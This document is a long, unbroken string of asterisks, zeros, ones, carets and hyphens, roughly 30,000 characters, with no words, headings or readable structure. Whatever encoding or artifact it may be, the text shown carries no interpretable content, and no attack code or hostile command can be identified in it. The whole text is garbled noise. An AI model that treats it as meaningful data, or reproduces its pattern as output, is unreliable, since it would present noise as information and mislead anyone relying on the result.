*001*1*011****011***001*00101*101****01***^10-101^11*******011**00101*0011*-*0010110101011*110101011**1********001*-1*001*101****01**1*0010-10110101*001*1*001*001*1*011*001*1*011****001**10101^-101^101****01***^10-101^11*******00101011*10^^-*011*01*010-*011*001*-1*********1*0101*001*101****01**1*0010-10110101*001*1*001*001*1*011*001*1*011****001**^-00-10110110101******0-101*0101******1***01^1*001******1**001010101*001*101****01***^10-101^11****01**01*001*0101*0101*11011010^1*00-00-011***1*0011*00101*0101****01**1*0010-10110101*001*1*001*001*1*011*******00101011*10^^-*011*010^1010101101**1*0011*********00-001*001*101****01***^10-101^11****01**01*001*0101*0101*11011010^1*00-001^1***01*0-*00101*0101****01**1*0010-10110101*001*1*001*001*1*011*001*1*011*001^1*011****001***01^1^-0011*00101*001^1*0101****01**011*1*010^^1*00^1*--------1*1011*-*0101*1^1*01101**********1**************************************001**011***********1********************-11011*********1*0101*1*101*1*1*00101*1^1*-01*^1*01^1*0101****01**101*10-101^101****01****10-1011*1*001*1*--------0-011*0-**1*1^1*^1101******01*^1^1**01*010^1********-1*1*001*^1*1*1*011****001***11010-10110^1**1*001*1*001*001^1*011****001**001010101^-01011*0110101******^11011*10^110101******10101011*10^-01*^1******0011**01^-10-0-11*001^1*011*00--------01^-*-00^1101*****00^1010^1*1**1*010^1********01*001*00^1*1*1*1*--------010-01*-**1*1^1*-01**********1*0010-00^1*01011*0110101******11*11*0101******01**-1^1*001******01**00-001*001*001*********01101011****************************************0010-*********10-*********^11********001101011*********01*0101*1*001*1*1**01*1^1*11011*0011*00101****01**^-*00101*001*00^1******001**0^11*00-******************************101*********00101********************0101**********11*00101*^-*01*1*0-*01^1*11011**1*01^1*0101****01**^10^-10110-*00---------*11*-*011*01^1*^11******011****10^-001**00---011*0101*01*1*******1**-*1*-*101*01^1*01101*********01011*********11**********01011**********1********************01011*********011*00101*1*11*01*1*0011*01^1*-01*0^1*1^1*001*******010101010--01*1*1^1*001*******-1*10--010101*1^1*001****01**001**0--011*^1^1*001*******0-11010--001*^1^1*001****01*****0--01*0^1^1*001****01**0-010^--**^1^1*001****01**0^110^--001101*01^1*********1***-001*1******0-01101*****0101***01***00101**001^11011****10101*01*******0101^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******0101^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01***-1*00101*11*******011**0010^11011*-*0010110101101*-001^1*00^-^10-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*1********--------11***-*01*001^1*-01*01010^1********1*-1010-0-*00--------1^-1*-00-01*--------*11**-*01*001^1*^1101******01101*01011**01*010^1*****01***11011**1*001*01*1*********10101*010-0010-01*011**1*0--------101011*00-*01*001^1*^1101******11011010110^1*001*010^-011*-11*-*001*1*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------1^101*0-*01*001^1*^1101**110-11*1*^1********--01*001*11*001*1*1101*00101****1**01010^1*10^11011******00-**11*-**11011******011**0011*101**---------0-*0-*01*001^1*0101*0-11*1101**101*--------1^-1*-*1101*--------*1*1*-*01*001^1*^1101********0^11011*00^1*^-^110-11*011*001*1*********0^1*********1**0101*101*01^11*00^1101010-*1*011*1*00101*00--------01010101*-*01*001^1*-01*0101*001101*--------00101101*-*01*001^1*^110^^1^-11*1*^11*1^-11*101*001*1*01^1*11****01**0^-**1011********0010^1********0110-********0-01101********0-1101******************0010101*******************00-11*********0--********0-*1********0-11*********0^101*********11*0101*1*1*001*1*********001^1*0-*001*01^1*001*******010101010--0-*001^1*001*******-1*10--0011*001^1*001****01**0-010^--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1******001101101*****01**010^1***011***01^1^1******0--------*11**-001011*0^11*01010^1*******001*-11010-0-*00--------01^1*00-001011*0^11*---------00-*-00^1101******0110-^-11*00^1^^1********01101011*00^101*001*1*--------**1*0-001011*0^1101*****00-01*01*11**1*010^1********1101^1*001*01*001*1*********00101*^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------00^11*0-001011*0^1*0-11*1101*00101****1**001^--1011011011******011**0011*101**--------*-1*0-001011*0^1*0-11*1101**101*--------0010-1*-00-01*--------*1*1*-001011**-*********-*********001**0101*101*011*-00--01011011**1101*1*001*^^101^-11*001****01**001**0--*101^-11*001****01**001**0--0011*00^1101*1^10-11*1*011*1*0011**--------00101101*-001011*0^11*0101*001101*--------10-101*-001011*001101*01^1*11****01***0-**1011********00^101********10-001********01^11*********^101*******************00^1********011010101********1011*********001101*********00^101********0^101********01011**********11*0101*10^1*********011*01*0-00101*001^1*001****01**0^110^--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1******010101101*****01**001****00-***1^1^1******0--------^101*00-*01*001^1*0-1*01010^1*******0011**0010-0-*00--------1^-1*-*-1*--------0-11*00-*01*001^1*^11**********1*0010-0010-01*011**1*0--------0-001*0-*01*001^1*^1*0-11*0011**01101*01*0101**011*00101101010^^101**101**011010-01*011*00--------11*11*0-*01*001^1*^1101*****00101*00-^11*001*010^101^110-11*101*001*1*1101*00101****1**01*01*0010^11011******00-**11*-**11011******011**0011*101**---------*01*-*01*001^1*11011*1101**101*--------1^-1*-*1101*---------0^1*-*01*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^110^-1*-11*1*011*1*00101*00--------1*1101*-*01*001^1*0-1*0101*001101*--------110-01*-*01*001^1*00-*01^1*11****01**0-011**1011********0101011*********0-********00110-1*********011**********1^1********0-*********001^11*******************1*^1*********1^1*********11*********01*01*********11*0101*1*1*001*1*********101*1*0-00101*001^1*001*******-1*10--001101*01^1*********1***-001*1*******101101********01010-**0011***01^1^1*--------1101**0-*01*001^1*-01*01010^1*******0011**0010-0-*00--------01^-*-00^1101*****00--0^-101*001*010^1*****01**01*0101*00^^1*01*1*--------101101*00-*01*001^1*^1*0-11*********^1*0010-0010-01*011**1*0--------0-11*00-*01*001^1*^110^-0^-11*1*^1********10-101*001*001*01*1*0011**01101*01*001**0011*00101101010^1*1**0101**011010-01*011*00--------00-01*0-*01*001^1*^1101*****00-0-01^-1*001*010^1********0-*1*00^-*001*1*1101*00101****1**00-*1*10^---------0-*0-*01*001^1*^1101******-0101*011**0^1^^1*****01**01****1*11*001*1*1101**101*--------1^-1*-*0011*--------0010^1*-*01*001^1*1*^11*0110-11*101*001*1*********0011*********01**0101*101*01^11*00^110^^1^-11*1*01^1**11**--------1*1101*-*01*001^1*-01*0101*001101*--------110-01*-*01*001^1*01011*01^1*11****01**0011011**1011********1101*1******************00-10101********1101*1********1010-********01011011********001101101********0-*********0110-*********^101*********011**********11*********0011*0101*1*1*001*1*********101*1*0-00^1*01^1*001*******010101010--*01*01^1*001****01**0-010^--0-*001^1*001*******-1*10--0011*001^1*001****01**0^110^--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1******01^1101*****01***^1***011***01^1^1*1*******0010101*********00-******0-*001011*******11*00101101**********0-****************00-*1*001******1010^1011*01*1**************************************************************0101*00101*^-1*1*1*0-1*1^1**11***********0010-0-011*01^1*011****011**0011*1*101*^11*1*110101^1^11*1*001*******************00-*01*01*1101*01^1*********0-*10-0-011*01^1**1*01*1**1*01^1*0101******0011011*-101^11****011**0011*1*101*^11*1*110101^--*1*001********************11*01*0^^11*1101*01*1**1*01*1*-----1^----1*-*0011*1^1*^1101*****0011*00-0^1**1*010^1*****01**0-1*1*001*1011*1*1**1*01^1*0101*******1011*-1011*11*01*1*01101**1*01*1*0011*01^1*0101******00^11*-101^1011*1101*01*1**1*01*1*1101*01^1*0101******0011***101*01**1**--------0^-1*-001^1*-11*-----1010-1^-1*00-*0011*1^1*0-1*-11*********^1*00-1^^11010-01*011*001*1*^1*01*1*-----1010-11*0101*0-*0011*1^1*1101101011011*1*^^-010-11*00-*1*1*^1*01^1**11010-01*^1*01*1**1*01^1*110101******0-*1*10^1^1*-11*10-*-11*0101*01*1**1*01*1*-----1010--^-*0-*0011*1^1*-01*-11*01^1*101****01**-10^-101^101****01**0-0^-101^1101*101*001*1*101*001*1*01^1*101****01**-10^-101^101****01**0-0^-101^1101*101*001*1*101*001*1*-----1010-1^-001*-*0011*1^1*^1101*****00-01010-10101*00^1^^110-110-11*11011*1*1*0101*01^1*0101******00-0101*0101**1*0^1**01*1^1*011****01***010101*101********0010--*001********00-*11*001*11****01***1011*0010^101*001*1*-----1010---0011*-*0011*1^1*^1101*****00-011011*11**0^1^^1********1*0-*00^11011*1*1*^1*01^1*10101**1*01^1*011****011**0011*1*101*^11*1*110101^-001*1*001*******************0011*001*0^11011*-----1010--0--*-*0011*1^1*0-*0-11*101*001^1*110101*******11011*10^110101******10101011*10^-*001*1*101*001*1*-*001^1*0101101*011*011****01***1011*0010^101*001*1*------0--*01*00-*0011*1^1*11011*101*001^1*110101*******11011*10^110101******10101011*101*0011*101*001*1*011*001^1*011****01***1011*0010^101*001*1*101*001^1*110101*******11011*10^110101******10101011*101*1011*101*001*1*------0-11*0101*0-*0011*1^1*^1101*******^-110101*001*010^-011010-11*01011*1*1*011*001^1*011****01***1011*0010^101*001*1*--------^10-*-00^1101*****00-1*110101**001*010^1101^10-11*01101*1*1*------0--10-1*0-*0011*1^1**00^-11*********^1***01********0--11*001*11****01***1011*0010^101*001*1*011*001^1*01101*101*001^1*^1*0--------0^-1*-00-00^-11*------0-1101*101*-*0011*1^1*1*0^-11*********^1*00-1^^11010-01*0101****01***10^-10110-**01*001*1*------0-11010-01*-*0011*1^1*00-*-11*001*001^1**11010-01*001*001*1*0101****01**10110^-101^101****01**0-0^-1011*1*001*1*-*00^1*0--------01^-*-00^1101*****00-01*00^11**1*010^1********1101^1*001*1101*1*1*------0-1101010-*-*0011*1^1*-01**********1***01010101*110101******0^11*00101*10-10-11*110^10-11*0101****01**0-0^-1011*1*001*1*-**11*******011**00101*0011*-*0010110101011*-01*1**1*0-010-11*0101****01**10110^-101^11****011**1*-*0101*-**^1*011010-10101**^^11********************1**1*0^^1*0--------0^-1*-*101*0-11*-----^---011*00-*0011*1^1*^1101********0011*11*00^1*^1*****01**0110^1**1*0-*1*1*********10101*^-00110101******0010^1*101******1****-*001******1**01^^1*001*11****001***1^1*10^^11*01*11011**1101^11010^1*001*0101*0101****01**0-0^-1011*1*001*1*-**101****01**10110^-101^11****011**1*-*0101*-**^1*011010-010101*001*0011**********************01*0^^1*0--------0^-1*-*0101*-11*-----^--1010^1*-*0011*1^1**1101*-*-11*1*^1*****01**0101*01*001*0101*1*1*********0^1*^-00110101******0010^1*101*1101010-11*10^^-11*011****001***1^1*101*0-*01*11011**1101^^10^1*001*0101*0101****01**0-0^-1011*1*001*1*-**101****01**10110^-101^11****011**1*-*0101*-**^1*01101011*0101*00^^11*******************00-*001*0^^1*0--------0^-1*-*1*^-11*-----^--01010-*-*0011*1^1*0^1*-11*********^1*0^-00110101******0010^1*101******01**0010101**1******01**-001**01*11****001***1^1*10^^11*01*11011**1101^110-001*001*0101*0101****01**0-0^-1011*1*001*1*-**101****01**10110^-101^11****011**1*-*0101*-**^1*011010101*101*00^11011*******************00101*001*0^^1*0--------0^-1*-0011011*-11*-----110--00-1*00-*0011*1^1*^110101*^-001010-11*00-*1*1*1*^^11*0-11*00-*1*1*********0^1*^-00110101******0010^1*101******01**010^1**1******01**^-**01*11****001***1^1*101*1101*01*11011**1101^10101^1*001*0101*0101****01**0-0^-1011*1*001*1*-**101****01**10110^-101^11****011**1*-*0101*-**^1*01101010-1101*001*0-********************11*001*0^^1*0--------1^-1*-*0011*-----110--0110^1*-*0011*1^1*-1*0-11*********^1*0^-00110101******0010^1*101******11**00110101*001******11**-11011*001*11****001***1^1*101*-1*01*11011**1101^10-011**1*0101*0101****01**0-0^-1011*1*001*1*-**101****01**10110^-101^11****011**1*-*0101*-**^1*0110101^-01*001*1011*******************001101*01*0^^1*0--------01^-*-00^1101******01101010110-**^1^^1*****01**00-01**0^11011*1*1*-----110--0010-1*-*0011*1^1*00^^-11*********^1*0^-00110101******0010^1*101******11**1011*1*001******11**0--1*001*11****001***1^1*101*0011*01*11011**1101^1*0011**1*0101*0101****01**0-0^-1011*1*001*1*-*00-----10--110^1*00-*0011*1^1**110^1011*-11*1*^1*****01**01*0101*001*0101*1*1*001*001^1*01101*1011*00101****01**11010^1^-0--------1^-1*-*0-*-----10--1011*1*0-*0011*1^1**01*-11*********^1*0--00110101******0^-*0101*0011*00^110-11*0-*01*1*-1*01*1*-----10--1*0011*0-*0011*1^1*01^^-11*-1*01^1**11010-01*-1*01*1*-----10---11011*0-*0011*1^1*1*1*-11*0101****01**10110^-101^101******00-0101*0101*1**0^1*-**011*0110101********11*101******01**101***01******01**1*1**00^-1*01*1*0-*01*1*-----10--1^1^1*-*0011*1^1*01^^-11*-1*01^1*01101*0-*01^1*011*001101*00101****01**11010^1^-00101*011********1*001010-110-0-011*01^1*011****011**0011*1*101*^11*1*110101^110-*1*001*******************011**1*01*0011*--------0^-1*-*0011*-11*-----10--10^1011*-*0011*1^1*01011**********1*0^-00110101******0010^1*101******01**-11011*001******01**00110101*001*101*******0011*0--*1*00--------01^-*-00^1101*****00^110101*1011*001*010^1*****001***011**01*1011*1*1*---------**00-*0011*1^1*^1101******01^110--1*001*010^1^11*01101*1*1*********1*1*010-00110101******0010^1*101******11**0-0011*001******11**10-101*001*101*******0011*0--011**---------10-*-001*^-110110-11*^11*1*1*--------00-1*00-*0011*1^1*1011*0-11*********^1*0010-00110101******0010^1*10^110-00-11**^10-11*0101*******0011*0--001*******01***1011********00^-11*****001**110^11*****01***0-1****************001***0^1*****011**0-1101*****011**0-0-****************101**0^1******101**101101*****0011**-1^1*****001**0-11********0010^11*****0011**^101********00^10101******1**1^-*****001**00^1******11**^101******01**10^-******1**101*1*****001**0110-********001010-*****01**0^11******01**0^^11******1**0-01********0-001******101*00^1******001**00^^1*****011**11*01*****0011**11*01*****0011***0^1********************0011******1**00-*********-*1******1*00^1******001**011*-*****011**01*001******1*0010-101*********10^101*1*011*1*1**11*1^1*11*^-11*--------1101101*0-001^1*1^1*^1101*******0^110-**01*010^1********0101^1*001*1101*1*1*********10101**-00--------1^-1*-00-01*--------110-1*0-001^1*1^1*^110101*^1********001*11*00^10101*1*1*1*^-*010-11*10101*1*1*********10101*^-001**00---101*1*1*1*1*--------0101^1*-001^1*1^1*^1101********01101*1*00^1*^1*****01***1101**01*0101*1*1*1*1*1^1*-01*--------1^-1*-*1101*--------*-01*-001^1*1^1*11011**********1*0^-001**00--101101*1*1*1*1*--------010^11*-001^1*1^1*-01*1*1*1^1*01101*********11*1**********011********011*1********0011*1********001101*********011*1*******************010^11********0110-********00^1*0101*101^1*1*1*1^1*1^1**11*01101*1^1*001*******-1*10--010101*1^1*001****01**0-010^--*101*1^1*001****01**001**0--*-*1^1*001*******0-11010--011011*1^1*001****01**0^110^--001011*1^1*001*******010101010--0^11*1^1*001****01*****0--001101*01^1*********1***-001*1******00^1101*****0-**10^1***011***1^11011****10101*001*0-----10--1101011*00-00101*001^1*0-1*-----10--110-1*00-00101*001^1*0-*0-11*--------01^-*-00^1101*****00-11*0--1*001*010^1*****01**0011011**01*101*01*1*-----10--1^1101*0-00101*001^1*01101**********1*0^-001**00--101011*^1*0-----10--10101011*0-00101*001^1*11011*1011*0-01*--------01^-*-00^1101******-*010-001*00^1^^1*****01**00^^1*00^-*001*1*-----10---1*01*-00101*001^1**11**********1*0^-001**00--101101*^1*0-----10--1*1^1*-00101*001^1*-1*0-11*1011*001011*-----10---*101*-00101*001^1*10-*0011*01*0110-1101********0--11*00^1*011********011*101*001*0011010-**1*1^1011*011*********00--11*00^--------0^-1*-00-1*0-11*-----10--1010^11*-00101*001^1*^1101********00-0011*00^1*^1101*10-11*^1*01*1*********0^1*^-001**00--1^11*^1*0-----10--110^-*-00101*001^1*^1101********011*011*00^1*^1*-00-11**1*01*1*1011**011*0101*0110101******1^11*00101******11**1*11**01******11***01**001*101****01**0-0^-101^1101*01**--------0^-1*-00^1*0-11*---------01**-00101*001^1*^1101******1011**-01*00^1^^-001^-11*-*001*1*********0^1*^-001**00---101*^1*0--------0^11*00-00101*001^1*0101*0-11*1011*0^11*1101*0110101******1^11*00101******01**0010101**1******01**1010-**1*101****01**0-0^-10110-01*01**--------01^-*-00^1101*****001**0-011**0^1^^1*****01***10-**^-*001*1*---------0011*0-00101*001^1*1011*0-11*********^1*0^-*0-00--010--00-11*1*01101*^11*0^-11*001****01*****0--01*^1********10110101*001*01****01*****0--********010110101*001*01****01*****0--01**00--1*11*^1*0--------1101^1*-00101*001^1*^110101*^1*****01**00-1**001*11*001*1*1*^1*****01**01^^1*001*11*001*1*1011*001101******01***0-1*****001**010-******01****001********1*011*****001****001******************0011*001*********01011********01011******01**00^1*********10^101*****01**0110^1*****001***0-1********010^101*****01**01*001********00^-1*****01**0-1011********01*1*101*10101*001*1*101*001^1*1101*0-11*0101*01^1*001*******010101010--0^1*01^1*001****01**0-010^--*01*01^1*001****01*****0--0-*001^1*001****01**0^110^--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******01*1101*****01**0110-11**00-***1^1^1*1*******0010101*********^1******00101*001*1101******1**0-001*****01**010101******************************0110^1*****00101***001*****0011**^10-*****01**0-0101********001**********************101******01**101^1*****001**11*011*****01**0-01011********01********1^101*001***010101*101*01*1**************************************************************0101*00101*1*^^1*1*00^^1^1*^11***********0010-0110101*01^1*011**1^1********00^1*010-0110101*01^1*011***************************************************************101*00101*^1*^1*1*01*^1^1*-01*00-0110101******001^^-11011*01*0--------^10-*-00^1101*10^-^^-11*01101*1*1*0010^-^^-11*01101*1*1*---------^11*-**0^1^1**11**********1*0^-*001********************0-1******************************00-1*********00^1*********0^1********00-*00101*1**^1*1**00^1^1*01011*********110^1010-0--------110^1101*-*-1*1^1*^110^-1^-11*1*^1********1**1*00^1*1*1*1*-----^--1101^--^^101^-*-01*01*1*0011*01*1*---------^11*-*-1*1^1**11*0011*01^1**11010-01*0011*01*1*********0-*********0110101*********-********************0-*********0110101*******************0-*00101*^-1*1*1*0-1*1^1*01101*00-0110101******001^^-11011*1*001*1*--------1^-1*-00^11*--------1*0011*-*0-*1^1*^1101******1*1010-1**001*010^1********0011*1*001*1101*1*1*********10101*^-*01*001*1******************************001*1********00^101*******************001*1*******************0-*00101*1*-*1*1*00-*1^1**11**********0101010-0110101****01**00101*-10110^1*01*1*011**11****001**1^1^-101^11*******011**0010^11011*-*0010110101011*-10^1**^^11*-11*^1*01*1*-----110--01*11*0-*0011*1^1*^1101*****001^10110-*1*001*010^1********0-0101*001*1101*1*1*011****001**-01^-10110-*001*1*^1*01*1*011****001**10101^-101^11*001*1*^1*01*1*011****001**^-00-10110101*001*1*^1*01*1*^1*01^1*011****001***01^1^-0-----110--^1^1*-*0011*1^1*-01*-*001^1*110101******10101**101********001011*1*001********00-11011*00^110101******1101*1*101******01**^1101**1******01**1010101**1*001*01*1*011****011**10-001*10^1101**-^-0^-*001*001*0101*01101*-01*--------1^-1*-00-01*-----110--01101011*-*0011*1^1*0-*0-11*********^1*0010-00110101******010-1*0101******11**00^11**1******11**-^1**1*001*01*1*--------1^-1*-00-01*-----110--110-11*-*0011*1^1*1011*0-11*********^1*0^-00110101******010-1*0101******11**^^11*001******11**01*-*00^-*001*1*-----10--101011**-*0011*1^1*^1101*****00-0--11011**^1^^1********1*-1*001*1011*1*1*101*001^1*110101******0-101*0101*********0-001*001*********-0101*001*11****01**0-1*1*101******11**11*011*001******11**^1^1*00^1*******001011*010^10-0101******1^1**101**********0011*001********00110-11*001*11****011**1*-*0101*-**^1*01101011*1101*00^10-*******************00-*001*01*11****001***1^1*101*-1*01*11011**1101^110-11**1*0101*001*001*1*011*******00101011*10^^-*011*010^101*0101**1*-1*********^1*1*00^101*001*1*-----10---10^1*-*0011*1^1*10-**1*01^1*1*******0011**0010-0110101******0--*0101*********^-1*001********0011*-*001*11****011**0011*1*101*^11*1*110110^11*0-1*001********************11*01*01*1011*001*001*1*-----10---0^11*-*0011*1^1*^1*0-11*-*001^1*011****01**0101011*0010^101*001*1*1*******0011**0010-0110101******0--*0101******01***-11*001******01**^10-*001*11****011**1*-*0101*-**^^11010101*-01*001*-1********************1**1*01*01*001*1*011*001*1*--------^1**0-*0011*1^1*00-*011*001^1*1*******0011**0010-0110101******0--*0101******1**0011*01*001******1**0-0^1*001*11****001***1^1*10^11011*01*11011**1101^--11**1*0101*001*001*1******001**001*1010-0--------110^-1*-00-1*0-11*--------1*001*0-*0011*1^1*0101*0-11*********^1*0^-00110101******010-1*0101******1****101*001******1**01101*1*00^101*001*1*--------*0011*0-*0011*1^1*11011*101*001^1*1*******0011**0010-0110101******0--*0101******01**00-11**1******01**1011011**1*11****001***1^1*10^^11*01*11011**1101^^1^1**1*0101*001*001*1******001**1101^110-0----------0-*-001*^110^^-11**01*1*1*--------1101^1*-*0011*1^1*^1101010-010-11*1*^^110110-11*^11*1*1*********-1*0010-*01*001*1*********10^1********************-11*****001**01*0-*****01***-101*****001**-^1*******************-0-********001^-*********001******1**001011**********10101********1*101********01*101*****001**001011******01**0-0^1*****001***11**********00101********0^1*101*1*011*1*1**11*1^1**01*-11*001*001^1*110101******01*101*101*-0^-11*00^^-11*^1**01*01011*00101^^11*01*1*1101*01*1******011**0101101*0-*011*01^1*01101*1101*01^1*110101******0010-*0101******11**0^101**1******11**0010101**1*001*******01***1*10-0110101*01^1*011*00--------1^-1*-00-01*--------0-1101*-0010101*1^1*^1101*****00^10101**1**1*010^1********01*001*001*1101*1*1*********10101*010-*001*********01*01********0011*01*****************************0011*01*******************^101********0011*01*********01*0101*1010101*1*1*10101*1^1**11*0011*0110101******01*101*101******11**0010101**1******11**0-101**^-**101****1**001101*0--01101*0011****01**01*001*0101*0101*11011010^1*00-001^--*001*0-*00101*****************************************0-********************101*00101*101^1*1*1*1^1*1^1*01101*--------^11**-00-1*01^1*^110101*^-101*-11*1*1*1*1*1*^1********1*0101*00^1*1*1*1*********10101**-00--------00110-*-001*^1*****01**0-***01**1*1*1*--------**1*0-00-1*01^1*10-**********1*0^-001**00--1*11*1011*01*1*--------0^101*0-00-1*01^1**11*1011*01^1*-01*--------1^-1*-*0011*--------11*11*0-00-1*01^1*0101*0-11*********^1*0^-*0-00--010-*10-11*^110101*^1*-00-11*001****01**0-010^--01*^11*1010-11*001****01**0-010^--01*1010-11*001****01**0-010^--01**00--101101*1011*01*1*--------0^^1*-00-1*01^1*11011*1011*01^1**11*0101*00101****01**0^1*1^-0--------00110-*-001*^1********-00-*001**1*1*1*--------*01101*-00-1*01^1*^11**********1*0^-001**00---101*1011*01*1*--------01*011*-00-1*01^1*00-*1011*01^1*01101**********0-********************011*********101^1********-1^1********110-********001101*********0010101********00110-1********01101**********00-********01101*0101*10-1*01*1*-1*01^1*^1*0-11*1*1*1^1*001****01*****0--*001*1^1*001*******0-11010--001101*1^1*001*******-1*10--001011*1^1*001****01**0^110^--0^11*1^1*001****01**0-010^--001101*01^1*********1***-001*1*******001101*****0101*0011011011***001**001^11011****10101*01*******^1^110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******^1^-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*11****01**00^11*00101*11*******011**0010^11011*-*0010110101011*-10^1**^1*1^-11*01**0101******0011*01*0101*1*****1101*01^1*********1***-*101*--------110101**-00101*001^1*^110101*^-011*011*001*1*1*^1********--11*001*11*001*1*01010^-*00--------110101*00-00101*001^1**11*--------01010-*-00^1101*****00^10-001101**01*010^101011**1*01*1*--------01*01*0-00101*001^1*01011**********1*010-^^110^101101*-*^1**01******00-**011*1*001*011******001**001*01**^1011*0110-00-11*0101**011010-01*011*00--------01^11*0-00101*001^1*10-*1101*00101*******0011011*101*1**--------1010-*0-00101*001^1*^110101*^101101*-*001*1*1*^1********0110^1*00^-*001*1*1101*0-01*--------1^-1*-*-1*--------1*^1*-00101*001^1*01101**********1*********01**0101*101*01^11*00^1101010^110-11*1*011011**001*00--------01010101*-00101*001^1*^1101*-*-11*1*^1^10^-11*011*001*1*0101*001101*--------110-01*-00101*001^1*^11*01^1*11****01**0-101**1011*****************************00-^1********0010101********011*11**********101********-11*********0110^1********0-*********0-11*********0-^1********0-11*********011*0101*10101*001*1*********101*1*0-*001*01^1*001*******-1*10--0-*001^1*001****01**0-010^--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1******0-10101*****01***11****101***1^1^1*--------11011**-*10101*1^1*11****01**00-01**1011********-********************0-**********11**********11*********00101*00101*^101*01*1*0101*01^1*^11*01010^--------1011**0-*01*001^1*^1101010-^-11*1*^1*****01**001^1**01*001*01*1*--------01^-*-00^110101*^^-010-11*-*001*1*1*^1*****01**01^11**0^-*001*1*--------0^11*00-*01*001^1*1*^-1*10-11*011*001*1*********0011*010-^^110^101101010-00--0101^1^-11*-110101*^-11*0-11*001*******0-11010--01^^101011010-11*001****01**0^110^--001011010-11*001****01**0^110^--0^1*0-11**1*0-*******-*00-01011*00^1101*********0-11011*001*011***********101*001*101**011010-01*011**101*******00---011011**11011******011**0011*101**--------011*01*-*01*001^1*11011*--------01^-*-00^1101******00101010101011**^1^^1*****01**01010-**^101*001*1*--------1*0101*-*01*001^1*^1101*****00101101*0011011*00^1^^1********1^^1*00^101*001*1*********10101*********1**0101*101*01^11*00^110^1101*-11*1*011*1*00101*00---------*11*-*01*001^1*00-*0101*001101*********0^1101********001*11********110^1********00101*********0-0101*******************11*01********0-0101********0110^1*******************0101*0101*1*1*001*1*001*001^1*01101**1*01^1*001****01**001**0--0-*001^1*001*******0-11010--0011*001^1*001****01**0-010^--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1******00-0101*****01***1*1***0101**001^1^1***00--------0-**0-00101*001^1*1*^11*0110-11**1*01*1*01010^1*******00110-1^10-0-*00--------1^-1*-00^11*---------001*00-00101*001^1*10-**********1*0--00^11010^1*0110110^1011**1******0011**11*01**^1011******0011***1***1*011******001011**11***1*101**01101*-00--01********00-1011*00^1*01^1**1*^1*****01**00-***1*01*******0-11010--*****001**00-***1*01*******0-11010--0-01*011*00--------0011011*0-00101*001^1*^1101******0--^-1**1*010^1********00101011*00^-*001*1*1101*00101****1**00110-1*10^---------*01*-00101*001^1*01101*1101**101*--------0^-1*-*101*0-11*--------*1^1*-00101*001^1*1*^-1*10-11*011*001*1*********0011*********01**0101*101*01^11*00^11010-^10-11*1*01^1**11**--------10101101*-00101*001^1*^11*0101*001101*----------01*-00101*001^1**11*01^1*11****01**0101101**1011********011*1*********-1********001^1101********00110101*******************0011*********11*001*********11*********0-*********0^1*1********1*011********01101*0101*10101*001*1*********1*001*0-*001*01^1*001****01**001**0--0-*001^1*001*******010101010--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1******010110101*****01**01^1***00-***1^1^1***00--------1*1**-*01*001^1*00-*01010^1********-0-0010-0-*00--------1^-1*-*0-*--------01^1*00-*01*001^1*-01**********1*0010-0010-01*011**1*0--------011011*00-*01*001^1*10-*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00--------010^1*0-*01*001^1*11011010^11*1*^1********^-01*001*001*01*1*1101*00101****1****-*10^11011******011**0011*101**---------0011*0-*01*001^1*0-1*1101**101*--------01^-*-00^1101******-*00-^1*00^1^^1*****01**00^^1*00^-*001*1*--------001*01*-*01*001^1*^1101*010^-11*1*^1********-0^1*001*11*001*1*********0^1*********1**0101*101*01^11*00^11010-00^-11*1*011011**001*00---------00101*-*01*001^1*00-*0101*001101*--------1*1101*-*01*001^1*^1101*****001^11*110-1*001*010^101*010-11*101*001*1*01^1*11****01***1101**1011*********11*******************00^10101********--1********01^^1********01*1**********1101********01*11*********01101*******************^10101*******************011*0101*1*1*001*1*********-^1*0-*001*01^1*001*******0-11010--0-*001^1*001****01**0^110^--0011*001^1*001****01**001**0--0101*001^1*001*******-1*10--001101*01^1*********1***-001*1*******110101*****01**0-01***0011***01^1^1***00--------01011**-001011*0^1*0-11*01010^11011******01*0^1010-0-*00--------^101*00-001011*0^1101********0^1*1*00^1*^1********-*01*001*11*001*1*--------0010-1*-0010-*--------11*01*0-001011*00101*0-11**********1*0^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------1101101*0-001011*0^1101*****001^-11011***^1^^1********001*01*00^101*001*1*1101*00101****1***010101*10^11011******011**0011*101**--------110-1*0-001011*0^11010-01^-11*1*^1********1^1011*001*01*001*1*1101**101*--------0010-1*-*0011*--------0010^1*-001011*01*^1*****01**0-0^1*001*01*001*1*********0-*********01**0101*101*01^11*00^11010101^10-11*1*011011**001*00--------1^1101*-001011*0^1*0-11*0101*001101*--------10-101*-001011*001101*01^1*11****01**0110101**1011********1011*1********1011*1********-01*********-1011********01*0101*********10101******************001011*1******************00-^1*********-1********001011**********11*0101*10^1*********011*01*0-*11*001^1*001****01*****0--0101*001^1*001****01**0^110^--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1******011010101*****01**0-****011***01^1^1************00-*1**--*0110-1**01^101***01**1********00101^^1*01**101101*10110-**01^101***********00-*1**0010101*01*001*1**************************************************************0101*00101*101^1*1*1*1^1*1^1*01011*00-0110101******001^^-110110-*00^--10101*0-*101010-1010^1*1*1^1*11011*101**0110^-*********001*1*********1101********************1*1*****************************************-*00101*101*1*1*1*1*1*1^1*01101*010-^101****1**001^^1^-0011*****1**00101*0010^^1**1****001**-01*0--01011*0010^^-101^1*001^1*0101******001011*-11011*01*00101******001101*1*10^--------*-*00-00-1*01^1*10-*0011*00101****1**001011*-10110^101^-*-**01101*11**110101******10-01*0101******11**-*1**1******11**11*11**^-*00110101******0^101*0101******11**110-1**1******11**01^1**0^101*001*1*101*001^1*1*******001*0^1011*1*01*-11*-*00--------0110-*0-00-1